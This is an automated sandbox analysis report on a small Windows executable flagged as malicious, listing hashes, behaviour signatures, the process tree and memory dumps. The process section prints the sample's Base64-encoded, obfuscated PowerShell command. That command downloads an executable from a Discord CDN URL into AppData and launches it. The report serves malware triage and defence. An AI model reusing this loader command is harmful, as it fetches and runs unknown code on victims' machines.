Analysis
-
max time kernel
46s -
max time network
50s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
13-11-2022 17:21
General
-
Target
871f23d521f271b63ea5d3041e097cc5.exe
-
Size
5KB
-
MD5
871f23d521f271b63ea5d3041e097cc5
-
SHA1
33c118c290f67790a188d523c8afc5c3159de978
-
SHA256
697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e
-
SHA512
a39a6521e1e6db0c8facce2d773a15c6520bfe12f694273d30b187cb534a89c65e776341431ef15ab7fb7a63cbade578caeb2e718821aba82cc4c6cc4e0de271
-
SSDEEP
96:jf79xkCFvY5c/bUquGm5tlNtUqrGueGCd3oj8Erl:n9xPFg5AUquxXNtUqrlCdG
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAwADkAMwAxADgAMgAyADUANAAyADAAMAAwADEANAA5AC8AMQAwADQAMAA5ADMAOAA3ADgANQAxADgANwAzADEAMQA2ADIANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwB3AGMAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AYwByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAZwBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAKQA8ACMAawB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBtAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAbQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAPAAjAG4AaABqACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/968-56-0x0000000000000000-mapping.dmp
-
memory/968-60-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/968-59-0x000007FEF5BF0000-0x000007FEF674D000-memory.dmpFilesize
11.4MB
-
memory/968-61-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/968-62-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/968-63-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/968-64-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/1992-54-0x0000000000E20000-0x0000000000E28000-memory.dmpFilesize
32KB
-
memory/1992-55-0x000007FEFBE81000-0x000007FEFBE83000-memory.dmpFilesize
8KB